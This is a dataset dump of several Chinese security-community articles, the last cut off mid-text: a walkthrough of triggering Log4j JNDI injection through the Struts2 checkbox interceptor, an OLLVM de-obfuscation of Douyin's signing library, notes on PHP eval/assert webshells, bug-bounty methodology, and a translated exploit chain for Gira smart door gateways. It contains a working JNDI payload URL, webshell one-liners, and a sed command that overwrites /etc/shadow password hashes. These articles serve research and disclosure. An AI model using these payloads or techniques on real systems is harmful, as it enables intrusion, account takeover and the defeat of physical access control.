text
stringlengths 100
9.93M
| category
stringclasses 11
values |
|---|---|
# 在 Struts2 中触发 Log4j JNDI RCE 漏洞分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 1、前言综述
log4j漏洞影响面太广，最为一个经常使用strusts2开发的我来说，第一反应就是strusts2也默认使用了该库，所以进行了分析，发现确实能够触发，一点拙见分享出来，希望能够帮助加快行业尽快修复该漏洞，减小其影响。
## 2、搭建 Struts2 示例
搭建一个struts2示例可参考[官方文档](https://struts.apache.org/getting-started/how-to-create-a-struts2-web-application.html#to-run-the-application-using-maven-add-the-jetty-maven-plugin-to-your-pomxml)，
官方也给了一个helloworld的[例子](https://github.com/apache/struts-examples)，可直接使用。这里就不再叙述，只贴一下我的pom.xml介绍下使用的版本：
<dependencies>
<!--struts 2-->
<dependency>
<groupId>org.apache.struts</groupId>
<artifactId>struts2-core</artifactId>
<version>2.5.26</version>
</dependency>
<!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-core -->
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.1</version>
</dependency>
<!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-api -->
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.14.1</version>
</dependency>
</dependencies>
其中，struts2 是 2.5.26， log4j 是 2.14.1
## 3、Struts 2 拦截器
拦截器是struts2是其用于对请求进行预处理的机制，可用户自定义，同时也默认内置一部分，内置拦截器加载在用户自定义拦截器之前，内置拦截器可在struts2-core-2.5.26.jar
中的 struts-default.xml中查看：
<interceptor-stack name="defaultStack">
<interceptor-ref name="exception"/>
<interceptor-ref name="alias"/>
<interceptor-ref name="servletConfig"/>
<interceptor-ref name="i18n"/>
<interceptor-ref name="prepare"/>
<interceptor-ref name="chain"/>
<interceptor-ref name="scopedModelDriven"/>
<interceptor-ref name="modelDriven"/>
<interceptor-ref name="fileUpload"/>
<interceptor-ref name="checkbox"/>
<interceptor-ref name="datetime"/>
<interceptor-ref name="multiselect"/>
<interceptor-ref name="staticParams"/>
<interceptor-ref name="actionMappingParams"/>
<interceptor-ref name="params"/>
<interceptor-ref name="conversionError"/>
<interceptor-ref name="validation">
<param name="excludeMethods">input,back,cancel,browse</param>
</interceptor-ref>
<interceptor-ref name="workflow">
<param name="excludeMethods">input,back,cancel,browse</param>
</interceptor-ref>
<interceptor-ref name="debugging"/>
</interceptor-stack>
这些拦截器均是struts2自带，加载也在用户自定义拦截器之前，也就是说，只要使用了struts2，默认情况下，均会加载这些拦截器。对这些拦截器初步审计后发现，基本上在其逻辑中都会使用log4j进行日志记录，并且，有多个拦截器的日志记录参数可控，这就是说，struts2已经受log4j漏洞影响了，下一节将选取其中的一个触发点checkbox拦截器进行漏洞触发分析。
## 4、漏洞触发点 – checkbox 拦截器
checkbox 拦截器在struts-default.xml中定义如下：
<interceptor name="checkbox" class="org.apache.struts2.interceptor.CheckboxInterceptor" />
对应的处理类是 `org.apache.struts2.interceptor.CheckboxInterceptor`, 其核心代码如下：
public String intercept(ActionInvocation ai) throws Exception {
HttpParameters parameters = ai.getInvocationContext().getParameters(); // 1、获取http请求的所有参数
Map<String, Parameter> extraParams = new HashMap();
Set<String> checkboxParameters = new HashSet();
Iterator i$ = parameters.entrySet().iterator();
while(i$.hasNext()) { // 遍历所有http请求参数
Entry<String, Parameter> parameter = (Entry)i$.next();
String name = (String)parameter.getKey();
if (name.startsWith("__checkbox_")) { // 如果请求参数是以__checkbox_开头，则进入此分支
String checkboxName = name.substring("__checkbox_".length());
Parameter value = (Parameter)parameter.getValue();
checkboxParameters.add(name);
// 如果该参数不止一个，则进入该分支，进行日志记录，从而触发 log4j jndi 注入漏洞
// name 为请求名
if (value.isMultiple()) {
LOG.debug("Bypassing automatic checkbox detection due to multiple checkboxes of the same name: {}", name);
} else if (!parameters.contains(checkboxName)) {
extraParams.put(checkboxName, new Request(checkboxName, this.uncheckedValue));
}
}
}
parameters.remove(checkboxParameters);
ai.getInvocationContext().getParameters().appendAll(extraParams);
return ai.invoke();
}
关于此拦截器的意义，可以参考[该文章](https://blog.csdn.net/xtayfjpk/article/details/14108047)进行理解，这里主要分析一下触发原理，进入该拦截器后，struts2会将http请求的所有参数取出来，进行遍历，如果参数名字以
`__checkbox_`
开头，则会进入checkbox判定分支，在该分支中，如果一个checkbox被重复定义，就直接进行日志记录，而在默认配置下，该日志记录使用log4j进行记录，从而触发漏洞：
if (value.isMultiple()) {
LOG.debug("Bypassing automatic checkbox detection due to multiple checkboxes of the same name: {}", name);
}
## 5、触发Log4j JNDI 注入漏洞
根据上一节描述，当请求参数名以 `__checkbox_` 开始并且重复定义时，会进入log4j记录分支，故构造请求如下：
http://127.0.0.1:8080/Struts2WebAppDemo/index.action?__checkbox_${jndi:ldap://127.0.0.1:1099/exp}=a&__checkbox_${jndi:ldap://127.0.0.1:1099/exp}=b
使用 `curl` 发送请求:
curl 'http://127.0.0.1:8080/Struts2WebAppDemo/index.action?__checkbox_$\{jndi:ldap://127.0.0.1:1099/exp\}=a&__checkbox_$\{jndi:ldap://127.0.0.1:1099/exp\}=b'
在该分支处下断点，成功命中:
最后成功执行到lookup，进行jndi查询：
至此，成功触发漏洞。关于该log4j漏洞的具体原理及后续触发步骤，可参考大佬分析文章，如<https://www.anquanke.com/post/id/262668>
实际上在struts2中还有不少触发点，本文只是选取其中一个进行粗浅分析，分析不透彻之处，欢迎大佬批评指正交流。
## 6、如何修复
更新至最新版本log4j，或者禁用lookup均可
## 7、参考文档
1、<https://struts.apache.org/getting-started/how-to-create-a-struts2-web-application.html#to-run-the-application-using-maven-add-the-jetty-maven-plugin-to-your-pomxml>
2、[https://www.anquanke.com/post/id/262668](https://www.anquanke.com/post/id/262668](https://www.anquanke.com/post/id/262668%5D\(https://www.anquanke.com/post/id/262668)
3、<https://blog.csdn.net/xtayfjpk/article/details/14108047>
4、<https://github.com/apache/struts-examples> | 社区文章 |
# Android OLLVM反混淆实战：算法还原
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
之前一篇我们已经讨论了android arm平台下的ollvm平坦化混淆还原的基本方法，这一篇我们就接着上一篇，继续实战反混淆。
apk样本：douyin9.9.0
so样本：libcms.so
逆向工具：ida
## 跟进
上一篇末尾我们对Jni_Onload的最外层进行了反混淆，f5之后可以看到，主要调用了sub_10710和sub_23B0两个函数，跟进sub_10710,并没有发现对vm的引用，而在sub_23B0中引用了vm，所以先分析sub_23B0。
跟进后该函里面是一段简单的混淆数，最终其实是跳转到了sub_23C6处的函数。
sub_23C6中存在这上一篇遇到的常规混淆，利用脚本将其清除之后，可以分析出该函数的作用是跳转到调用sub_23B0的第一个参数的地址，同时将javaVM指针的地址作为第一个参数传入到sub_23C6,通过ida动态调试我们得出sub_23B0的第一个参数为0x2520，所以我们继续，跟进到sub_0x2520。
观察该函数cfg和内部特征，可以得出该函数又是经过ollvm平坦化处理，利用之前的去混淆脚本配置好之后进行处理：
部分f5之后的c代码：
并没有直接找到后面引用到javaVM指针的代码，但是上图2处看结构很可能是调用vm->getEnv，为了进一步优化f5代码和变量之间关系，我们需要进一步处理。可以注意到其中一些分支其实是不会执行的，如上图中1处分支的条件，从数学角度分析该条件不会成立，但ida并不能识别出来，所以我们在符号执行的时候需要特殊处理，去掉这些不会执行的相关块。
第二次优化处理后：
这次可以看到JavaVM指针被直接引用到，函数执行的流程也基本上一览无遗，该函数里主要对一些全局变量进行解密，解密成用于注册jni方法的字符串或是其他用途的重要数据。
我们找到env->RegisterNatives处，然后通过参数获取到leviathan方法的对应的native函数地址位于0x576dc处。
0x576dc同样是和之前一样，存在常规跳转混淆和平坦化混淆，反混淆脚本伺候之：
最后又是调用了sub_23B0这个函数，在前面已经分析过该函数的作用，可以看出，并没有直接将env等一些jni参数直接传入该函数，而是构建了一个可能是数组的结构，将这些参数加上一定的偏移放入该结构，再将该数组地址作为第二个参数传入。
第一个参数表达式其实是一个定值，其值是sub_551c0的地址，不会受到表达式中变量a4影响（大家有兴趣可以验证下）。
进入到sub_551c0，又是ollvm+跳转混淆，老样子，脚本跑一跑。
f5之后：
可以看到在上图处取出了jni方法的参数，紧接着，对java层传入的数组和参数i2进行了一些简单的字节变换操作，将变换后的的数组，数组大小以及i1的值作为一个新的结构传入到sub_215BC。从后面调用的jni函数来看，sub_215BC的返回值极可能是最终加密之后的byte数组，所以我们继续跟进去：
这里我对参数结构进行了一些转换，以便于更好的理解c代码，可以发现参数结构体作为一个数组的成员继续传入到下一层，继续跟进到sub_229C8：
该函数就是加密算法的核心位置了，但乍一看混淆方式貌似和前面的方式不太一样，该函数是纯ARM指令，也就用不了之前的脚本，而且混淆方式也不太像是ollvm，仔细观察这个函数可以发现里面有大量的switch-case跳转表结构，但ida没有识别出来，我们可以自己设置添加跳转表结构：
如上图r6是索引值，r1是跳转表基址，r3是跳转表索引到的值，最后跳转的位置即r1+r3。在ida依次选择Edit->Other->Specify
switch idiom，为此处配置一个跳转表结构：
找到所有的跳转表后，便可以f5查看c代码：
基本上无法解读，但大体上可以知道其结构，while循环内的switch-case结构，但多数case内又嵌套着另一层switch-case结构，形成多层嵌套，所以代码看起来比较复杂。而最外层switch的case索引，是通过读取从dword_85B60起始的一串数据表，再通过转换运算得到。该数据表内的数据相当于一条命令，不同的命令可以执行不同的case组合，完成不同的功能。
## 用C代码实现流程
还原该算法难度较大，主要是while内switch
case循环次数很多，经验证，总共有一万多次循环，如果对每次循环都进行分析的话，工作量可想而知。所以这里可以另辟蹊径，可以试着新建一个c工程，将f5的伪代码复制出来，同时再构建一个与当前程序执行环境相同的内存环境，直接脱机运行：
FILE* fp = fopen("libcms-dump", "rb");
if (!fp)return-1;
fseek(fp, 0L, SEEK_END);
int size = ftell(fp);
//将dump下来的so放入到申请的内存里
pBuf = new char[size] {0};
fseek(fp, 0L, SEEK_SET);
fread(pBuf, size, 1, fp);
fclose(fp);
//对so进行数据重定位修复，ori_addr是dump so时，so的加载基址
relocation(pBuf, ori_addr);
const char* data="b6a274acedea791afce92a344ccdd80d00000000000000000000000000000000063745505e61c692b79747ec710f8a3100000000000000000000000000000000";
int ts = 1583457688;
unsigned char* pBuf3 = (unsigned char*)malloc(64);
HexStrTobytes((char*)data, pBuf3);
int swapts = _byteswap_ulong(ts);
char* pBuf2 = (char*)malloc(20);
sub_112D8((uint8*)pBuf2, pBuf3, 4);
sub_112D8((uint8*)pBuf2+4, pBuf3+16, 4);
sub_112D8((uint8*)pBuf2+8, pBuf3+32, 4);
sub_112D8((uint8*)pBuf2+12, pBuf3+48, 4);
sub_112D8((uint8*)pBuf2+16, (unsigned char*)&swapts, 4);
sub_112D8((uint8*)pBuf2 + 12, (unsigned char*)pBuf+0x8f09c, 4);
MYINPUT input2 = { pBuf2,20,-1 };
unsigned int a2[354] = { 0 };
a2[0] = (unsigned int)&input2;
a2[2] = (unsigned int)&pBuf[0x21ef5];
a2[3] = (unsigned int)&a2[350];
a2[352] = pBuf[0x90690];
MYINPUT* pInput = &input;
sub_229C8((unsigned int*)&pBuf[0x85b60], a2, (unsigned int*)&pBuf[0x8eb70], (unsigned int*)&pBuf[0x8eba0], &a2[2]);
因为该代码内用到了很多的全局变量，很多变量都是在app运行后才开始解密，我们也没有对那些代码进行分析，所以需要将app运行到sub_229c8时的整个libcms.so的内存dump出来，可以通过xposed+cydia或是frida
hook
sub_229c8来实现dump，同时记录下其加载基址，因为android平台pic（位置无关代码）编译的原因，所有全局变量的引用都是通过got(全局偏移表)完成的，加载器会根据加载基址来修正，并向got填入正确的全局变量的地址。当我们自己实现该函数功能，申请一段内存pBuf来存放so数据，把got内全局变量的地址修正到pBuf的位置，如某重定位数据a=S，app运行时的基址是A，pBuf的地址是B，则重定位a的值为S-A+B，这样便相当于从pBuf处加载so。
通过readelf -D 获取数据重定位信息：
对数据进行重定位：
void relocation(char* bytes,uint32 ori_addr)
{
uint32 new_addr = (uint32)bytes;
unsigned int reldyn_start = 0xbac + new_addr;
size_t reldyn_size = 5496;
Elf32_Rel* pRel = (Elf32_Rel*)reldyn_start;
//relocation for .rel.dyn
for (int i = 0; i < reldyn_size / sizeof(Elf32_Rel); ++i)
{
uint8 relType = (pRel->r_info)&0xff;
if (relType == R_ARM_RELATIVE || relType == R_ARM_GLOB_DAT)
{
*(uint32*)(bytes + pRel->r_offset) = *(uint32*)(bytes + pRel->r_offset) -ori_addr + new_addr;
}
pRel += 1;
}
}
在sub_229c8内有多处函数调用，同样需要把这样函数复制出来实现，需要注意的时这个地方：
1147行是一个函数调用，v102的值分析后得出是sub_21ef4地址，其功能也很简单：
考虑到a1可能有多个不同值，所以通过hook sub_21ef4，来获取所有app运行用到的a1的值，之后找到所有a1指向的函数并复制出来实现：
这样我们直接运行代码：
成功获取返回值，为了验证正确性，将我们程序得到的结果放入到请求参数中，可以正常返回数据！！！
当然小弟我也是最后也是用了些偷投机取巧的方式实现了算法脱机，有耐心或是牛逼的同学可以试着直接逆向出算法。。遇到问题大家可以交流一番。。
## 总结
对于这次逆向，总体上ollvm混淆强度不大，可以通过反混淆脚本还原算法流程，算法核心位置的混淆比较难还原，需要一定技术水平或耐心，后面有时间的话我也会试着完整还原，敬请关注哈！！ | 社区文章 |
本文作者：李勤，雷锋网网络安全专栏作者，安全圈大姐姐，入错行的八卦爱好者。该文大部分内容为Gr36_的演讲内容，经过Gr36_本人确认。该文首发于雷锋网宅客频道（微信id:letshome），欢迎关注公号和大姐姐一起畅聊网络安全哟！
Gr36_，男，阿里云云盾先知平台白帽子贡献排行榜排名第一的白帽子。
从 2016 年开始，Gr36 _在先知平台活跃，也在国内其他众测平台“挖洞”。他对自己身份的定义是“众测玩家”。虽然 Gr36_ 在先知平台已经累计拿到
285950
元的奖金，他表示，赚取额外收入只是他成为众测玩家的原因之一，他在三年前接触众测，像玩游戏一样，爱上了这项“劳动”，有乐趣，还能交到好朋友，一起提升技能。
Gr36_认为，众测多方共赢的模式可以改变很多人的生活。
《葵花宝典》伤身，挖洞秘籍有益。
3月24日，Gr36 _在 2017 先知白帽大会上，就传授了这种有益身心的挖洞宝典。以下为 Gr36_
的秘籍实录，雷锋网在不修改原意的基础上略有修订和删节，PPT 截图为 Gr36_ 授权雷锋网发布。
**［Gr36_ 在 2017 先知白帽大会上］**
## 0x00 信息搜集：众里寻他千百度
我们都知道打仗时搜集情报是重中之重，安全测试中前期的信息搜集工作也是关系着整个项目成败的关键因素。
众测时拿到一个给定的测试范围，比如，一个主域名，获取到的各种信息越多，拓展出去的测试范围越广，能挖到高危[漏洞](http://www.leiphone.com/tag/%E6%BC%8F%E6%B4%9E)的概率也越大。有一些做常规信息搜集的手段，如，IP端口扫描、子域名的爆破。但是，我要介绍一些平常容易被忽略的信息。
### 微信公众号
时下，微信已经成为全新的社交方式，大大小小的公司也开始运营自己微信公众号，很多公司采用第三方微信公众平台，有的自己研发微商城、微官网这样的系统。
这样的系统往往存在问题，如果遇到的测试背景是第三方微信公众平台，需要多花一些精力，这样会得到比较好的效果。通过微信公众号的搜索功能，直接搜索到测试目标微信公众平台的测试程序，我发现了很多安全漏洞。
### 移动APP
公司系统经过长久的测试与开发，安全系数越来越高，我们挖到安全漏洞的难度也越来越大。相对而言，APP
作为最近几年才兴起的新鲜事物，很多公司在该领域的安全投入稍微欠缺，APP 也很容易成为测试过程中的突破口，因为可能用同样的业务逻辑，APP
有可能也存在安全问题。
这是WEB系统的密码找回最后一步的流程，整个流程在找回输入注册时候预留的邮箱，系统会将密码找回的链接，输入了密码以后抓包，就可以来到这一步，正常而言，KEY
的参数应该是随机生成的，但当时测试几次后发现KEY是不变的，那么 KEY
会不会是和用户身份相关的标识呢？能够从系统中找到用户的ID和KEY的对应关系，就可以重置任意一个用户的密码，但是我在整个系统中都没有找到相关踪迹，这时我把眼光投向了移动
APP ，果不其然，我在移动 APP 登录请求发现了一些蛛丝马迹，经过比对和之前密码找回的
KEY是一样的，把这两个请求组合起来就能做到——知道用户名就可重置任意用户的密码了！
### passive
dns
先看一个命令执行漏洞的案例。这个漏洞的奇葩之处不在于漏洞本身的利用方式有多复杂，就是一个稀疏平常的，由于拼接 os
命令造成的命令执行，关键的地方在于这个子域名是如何发现的。像这种多级子域名，光靠字典爆破是很难跑出来的，这里就是用 passive dns
数据获取到子域名数据。
通俗而言，passive dns 就是 dns 解析记录的历史数据。国内外都有提高 dns 解析历史数据的网站，利用这些网站提供的查询功能或 api
，可以获取到很多利用暴力猜解没办法获取到的子域名数据。
### 历史漏洞
**我有一个非常深刻的感受：漏洞从来不单独出现，某个系统出现了某种类型的漏洞，说明负责开发这个系统的程序员的安全意识不强，安全编码不规范，有非常大的概率，在系统中还隐藏着没有被我们找到的漏洞。**
最好的例子是，前段时间肆虐各大网站的 strusts 2 命令执行漏洞，大家可以猜一下 st2
命令执行漏洞的编号会达到多少？所以，历史漏洞在众测中可以给我们提供很多参考。通过漏洞平台的历史漏洞数据，能得到很多的启示和参考。
## 0x01 精骛八极，心游万仞
我认为，挖洞是一项非常需要想象力的活动，在测试的过程中应该多考虑一些特殊的情景，多开脑洞。
双编码注入和宽字节注入，这两种在 PHP
源代码审计中比较的常见，但是按照经验，众测过程中，在黑盒时也可以碰到这种非常规注入，测试注入时如果只是用单引号、双引号做测试，这两种特殊的注入就跟你无缘了。
排序注入，为什么要把排序注入单独拿出来说？对大多数的程序员而言，参数化查询、预编译处理可以解决绝大部分注入处理，但是，排序注入比较特殊，预编译处理对它无效，这种注入特别容易成为漏网之鱼。
在系统中只要输入单引号系统就会返回一个空，这种情形应该不存在注入，但是，这里是不是存在全局过滤机制？遇到单引号或者是其他的特殊字符系统就返回空？我把请求变成
POST 请求，经过这样的变换，发现这个系统是可以注入的，用这种方式可以绕过程序全局的过滤。
## 0x02 天下大事，必作于细
细节决定成败，在测试过程中不仅要胆大而且要心细，多注意一些细枝末节，有时，会有一些比较意外的发现。我有个比较良好的习惯，喜欢察看网页的源代码。
上述案例中，我当时是以普通用户权限登录到系统中，察看网页源码中发现有一堆注释，注释包含着一些链接，这些链接看上去是管理员功能的链接，最后这个链接普通用户也可以访问，这是属于垂直权限的越权漏洞。
类似的 JS
源码也是隐藏着一些看不到的信息，这些信息往往可以往往可以打开测试的局面，我当时在测试过程中遇到后台系统，这个系统没有帐号，经过暴力破解也没有成功进入系统中，这时我去查阅系统加载的
JS
文件，其中一个文件中发现这样一个函数，看上去应该是注册函数，根据里面的逻辑拼接成一个请求，最后发现利用这个请求确实能够注册一个后台系统的帐号密码，然后就可以进一步登录后台系统进行测试。
奇葩的支付漏洞，电商网站选购完商品最后一步进行结算支付，当时选择的支付方式是网银在线，这个请求输入一个订单号，系统会返回一个表单，最终会拼接成网银在线的最终支付链接，如果不仔细看可能就不会发现里面多了一点东西。看
KEY参数，在一般支付宝或者是网银支付链接里，肯定有一个参数校验的过程，为了防止用户篡改支付过程的金额和订单号会做参数交验， KEY
会不会就是参数交验过程中遇到的密钥？当时我找到网银在线的文档，经过仔细研究，猜想 KEY 可能是参数交验所需要的密钥，根据规则结合前面的 KEY
，自己手动构造一个算参数交验，自己算出来的数值和系统反馈回来的数值一样，印证了我的猜想是正确的，我就可以结合这个规则和 KEY
构造出任意金额的支付链接，而且可以保证支付链接完完全全合法有效，所以，这可以算是真真正正的任意金额支付漏洞。
## 0x03 朝高危漏洞出发，不破楼兰终不还
测试过程中要有挖高危漏洞的心，如果是挖到低危或者是中危漏洞也要想方设法把它变成高危的漏洞。
某次测试中找到某个系统存在 PHP 文件包含漏洞，经过测试发现这个系统没有任何上传点，文件包含是本地文件包含，意味着无法通过上传或者是远程文件包含拿到
web shell ，这时通过文件包含漏洞继续读系统源代码，最后在某一个文件中发现了这么一行代码，这行代码意味着可以控制 session 变量，PHP的
session 保存服务器某个固定的路径下，而且文件名是固定的前缀加上 session ID，路径可以知道，session
的变量也可以控制，可以通过这个页面往 session 文件里写一句话，最终通过包含session文件的方式获取到web shell。
论坛程序，在众测的过程中遇到很多，对于这种程序大家都有自己的方法，有些是用社工管理员的帐号，或者是利用历史漏洞去入手，自带统一管理的程序。
如果仔细看过漏洞详情，就会知道 UC 有很多的 API 设计非常不安全，利用 API 爆破 UC
创始人的密码，这个爆破不受验证码请求次数的研制，爆破创始人密码可以登录 UC
的后台，相当于可以获得论坛至高无上的权限，我在众测过程中发现很多厂商对这里有一些加固，可能会做访问的限制，比如，针对源 IP
的限制，出现这种情况可以回到这里，在拿到创始人密码情况下，可以获得论坛对应的 uc key，可以结合之前UC
的漏洞进行选项，还可以进行注入，注入写本地的中转脚本，可以利用自动化工具完成。
## 0x04 工欲善其事，必先利其器
很多白帽子在众测的时候都用自己的专属的工具包，有些是自己定制化开发的工具，我平常使用比较多的是一款基于被动式的扫描工具，在这种被动式扫描工具出现之前，也有大牛开源了一款工具，但是要经过注入检测，我推荐的这款适用范围更广一些，技术差不多也是利用现成的轮子组合，技术含量不是很高，主要是分享一些思路。
程序搭载的流程，访问代理服务器可以抓取用户所有的请求流量，可以对流量进行存储，后端的扫描程序再对流量进行安全检测。
程序分三部分，对于 host 字段网站的域名和 IP
，会进行端口服务的识别，根据服务识别的结果再系统自动匹配调用相关的漏洞扫描的插件。系统扫描结果发现目标完善运行一个服务，自动从系统中调用爆破之类的检测脚本检测，url
会进行外部指纹的识别，识别目标网站使用中间件，系统会自动调用一些反序列化弱密码的爆破之后进行检测。对于动态页面，会调用文件包含之类的常规的外部扫描的插件进行检测。完整的流程走下来可以省去很多烦琐重复性的劳动，也可以提高扫描的效率，提高漏洞发现的准确度，达到事半功倍的效果。
用到两个框架，Tornado、Twisted，意味着在资源比较少的情况下，单机情况下都可以获得比较不错的扫描效率。 | 社区文章 |
## 前言
我太菜了，今天有学弟拿着一个一句话过来找我，说链接不上
<?php
$a="eval";
$a(@$_POST['a']);
?>
最开始以为是版本的问题
然后开始踩坑了
## 测试
我自己用带毒的phpstudy测试了一下:
在php5的版本里面报错：
Fatal error: Call to undefined function eval() in E:\software\PhpStudy\PHPTutorial\WWW\1.php on line 3
在php7里面报错：
Fatal error: Uncaught Error: Call to undefined function eval() in E:\software\PhpStudy\PHPTutorial\WWW\1.php:3 Stack trace: #0 {main} thrown in E:\software\PhpStudy\PHPTutorial\WWW\1.php on line 3
请教了一个大佬：
我:
<?php
$a = "eval";
$a(@$_POST['a']);
?>
这种木马 您能用吗
大佬:
咋不能用？
大佬:
一个简单的变形没看懂吗
我:
php的文档说 eval不是函数
大佬:
本来就是语言构造器
我:
您测试成功了马
大佬:
你网上花钱找个师傅吧 我不提供问题解答哈
我:
哦 好吧
大佬:
Assert也是一样可以的，自己试
好尴尬啊，被大佬教育了一波，我太菜了，于是乎查了查文档，然后自己又测试了一下：
给了一个合理的解释：
eval是因为是一个语言构造器而不是一个函数，不能被可变函数调用。
什么是可变函数呢：
> PHP 支持可变函数的概念。这意味着如果一个变量名后有圆括号，PHP
> 将寻找与变量的值同名的函数，并且尝试执行它。可变函数可以用来实现包括回调函数，函数表在内的一些用途。
>
> 可变函数不能用于例如
> [echo](https://www.php.net/manual/zh/function.echo.php)，[print](https://www.php.net/manual/zh/function.print.php)，[unset()](https://www.php.net/manual/zh/function.unset.php)，[isset()](https://www.php.net/manual/zh/function.isset.php)，[empty()](https://www.php.net/manual/zh/function.empty.php)，[include](https://www.php.net/manual/zh/function.include.php)，[require](https://www.php.net/manual/zh/function.require.php)
> 以及类似的语言结构。需要使用自己的包装函数来将这些结构用作可变函数。
所以我在怀疑，有些大佬们都是照抄assert的变形方式没有测试过就放到博客上了就是说，如果换了assert，这个是可以用的
结论：
**eval不能用，assert可以用。**
## 深入
在php5的版本:
正常
继续测试一下assert
在php7.0的版本:
正常
在php7.1往后的版本：
Warning: Cannot call assert() with string argument dynamically in E:\software\PhpStudy\PHPTutorial\WWW\1.php on line 3
网上搜索了一下：
assert()默认不在可以执行代码
这就是众多马不能用的罪魁祸首了，太多的马用assert()来执行代码了，这个更新基本就团灭，一般情况下修改成eval即可正常运行了~
这样一看问题基本明晰了，然后又看了一眼文档
> 7.0.0 assert() is now a language construct and not a function. assertion()
> can now be an expression. The second parameter is now interpreted either as
> an exception (if a Throwable object is given), or as the description
> supported from PHP 5.4.8 onwards.
在php7里面 是语言构造器。
结论
**eval不能用，php7.1之后assert()也不能用**
最后说一下， **蚁剑是可以用assert的，不过编码最后使用base64**
## 后记
直接百度了一下：
还是有几个大佬写的有这种问题的。
最后可能是我认知上出现了问题，冒犯到大佬，还望见谅。
有不当之处，多多指正，感谢大佬们教我做人。
我还是太菜了。
## 相关链接
<https://www.php.net/manual/zh/functions.variable-functions.php>
<https://www.php.net/manual/zh/function.assert.php>
<http://www.vuln.cn/8395>
<https://www.xmsec.cc/few-security-changes-between-php-7-and-php-5/> | 社区文章 |
# 破门而入：智能门禁系统安全
|
##### 译文声明
本文是翻译文章，文章原作者 hisolutions，文章来源：research.hisolutions.com
原文地址：<https://research.hisolutions.com/2020/04/open-the-gates-insecurity-of-cloudless-smart-door-systems/>
译文仅供参考，具体内容表达以及含义原文为准。
物理攻击电脑的方法有很多，例如插入一个“橡皮鸭”
或者物理的键盘记录器。事实上，接触这些电脑和服务器往往是受限的。这些威胁矢量的视角是“当它们已经在房间的时候，我们就完了”。然而，要是反过来呢？不是你的服务器、电脑、软件依赖于物理安全，而是你的物理安全依赖于电脑的安全呢？所有的智能门锁都是如此。我们研究了网关系统，它增强了传统的门铃解决方案，使用户可以从网络(甚至Internet)进行控制。这两个网关分别由
Siedle、Gira 制造。我们找到了可用的固件并开始漏洞挖掘。本文讲述我们发现的漏洞。
## (Virtual) HITBAMS20 Talk
我们的演讲[主题](https://conference.hitb.org/hitbsecconf2020ams/sessions/commsec-open-the-gates-the-insecurity-of-cloudless-smart-door-systems/)被 HIBTAMS2020
会议采纳，我们原计划带着设备做现场演示。然而，由于新冠肺炎疫情的影响，线下的会议被取消了。我仍然通过线上的方式举办了演讲。
此外，在这篇博文中，我们将详细介绍攻击链和技术细节。稍后，我们的演示和演讲内容会放在这里。
## 我们发现了 什么？
我们获得了两个网关的 root 权限以及 WEB
端的管理员权限。我们把门连接到这些存在漏洞的设备上，这就让我们能够把其他人关在门外，并具备对物理（真实的门禁）的访问权限。在本文的下面可以找到更多的利用链的技术细节。
MITRE 给了我们 5 个 CVE 编号：
* * *
* **CVE-2020-10794:** Gira TKS-IP-Gateway 4.0.7.7 存在未授权的路径遍历漏洞，这使得攻击者能够下载应用程序的数据库。结合 CVE-2020-10795 能够拿到 root 的远程访问权限。
* **CVE-2020-10795:** Gira TKS-IP-Gateway 4.0.7.7 在 WEB 前端中的备份功能处存在授权的远程代码执行漏洞。 结合 CVE-2020-10794 能够拿到 root 的远程访问权限。
* **CVE-2020-9473** : The S. Siedle & Soehne SG 150-0 1.2.4版本之前的智能网关，存在一个没有密码的 ftp ssh 用户。通过使用一个供给链，在当前网络中的攻击者能够拿到网关的 root 权限。
* **CVE-2020-9474** : The S. Siedle & Soehne SG 150-0 1.2.4版本之前的智能网关，可以利用WEB 前端的备份功能实现远程代码执行。通过使用了一个攻击链，在当前网络中的攻击者能够拿到网关的 root 权限。
* **CVE-2020-9475** : The S. Siedle & Soehne SG 150-0 1.2.4版本 之前的智能网关，通过 logrotate 的条件竞争实现本地权限提升。通过使用一个攻击链，在当前网络中的攻击者能够拿到网关的 root 权限。
## 负责任的漏洞披露
我们联系了两个供应商并把我们的发现告知了他们。到现在，这些系统已经进行了正确的升级，所有的漏洞对它们不再有效。Siedle
甚至给了我们一个未编译的测试固件镜像，这样我们就能够在更新发布之前检验是否修复了所有的缺陷。总体上来说，我们对两个供应商的回应感到高兴，显然他们意识到了这些发现的重要性。两个供应商立即在他们自己的设置中验证了它们，并专业地解决了问题。
## Gira 利用链
### CVE-2020-10794: Gira TKS-IP-Gateway 4.0.7.7 未授权路径遍历
当我们开始研究 Gira TKS IP-Gateway 时，我们在 web 接口发现了一个路径遍历漏洞，利用这个漏洞我们下载了
`/app/db/gira.db`文件。在这个文件有 admin 的 md5-hash
的密码。如果密码的强度不够是很容易通过暴力破解获得密码的。我们下载的`/app/sdintern/messages`存在相同的漏洞。如果最近有人登录设备，密码会以明文的形式保存在在这个文件中。得到了登录凭证，这使得我们能够登录
web 前端重配设备或打开与之相连的门。
### CVE-2020-10795: Gira TKS-IP-Gateway 4.0.7.7 授权远程代码执行
现在我们已经获得了 web 界面上的管理权限，我们对 gira.db 进行了备份。这个备份使用了 tar 存档，我们可以打开并修改它:
sqlite3 backup/gira-V0101.db "UPDATE networksettings SET Name = 'tks-ip-gw/g -f /app/sdintern/segheg -i /etc/shadow -e s/foo/bar'"
以上代码中把 sed 命令放到了数据库中。在我们修改的 tar 归档文件中的 `sedheg` 文件替换 root 用户以及D3.IPGWvG!
用户的密码。它是看起来是这样的。
#!/bin/sh
s/D3.IPGWvG!:$1$6cFFPSWX$DjqoQuoo3Ucl7MsMeBcg7//D3.IPGWvG!:$1$eV3NNo/h$beH8VTIROWlVZKcrHvhu70/
s/root:$1$6cFFPSWX$DjqoQuoo3Ucl7MsMeBcg7//root:$1$eV3NNo/h$beH8VTIROWlVZKcrHvhu70/
两个用户都拥有 root 权限，或者可以使用 sudo 提权。准备好之后，我们对修改后的文件重打包。然后，我们使用 WEB
端提供的恢复功能上传我们修改后的备份文件。这触发了我们伪造的新网络设置(标记为，==> ‘)，$NETWORK 的值来自于我们修改后的 sqlite
数据库。
[...]
NETWORK=`/opt/lin/bin/sqlite3 /var/db/gira.db "select Id, Name, Nameserver, Dhcp, Gateway, Ip, Netmask from networksettings;"`
[...]
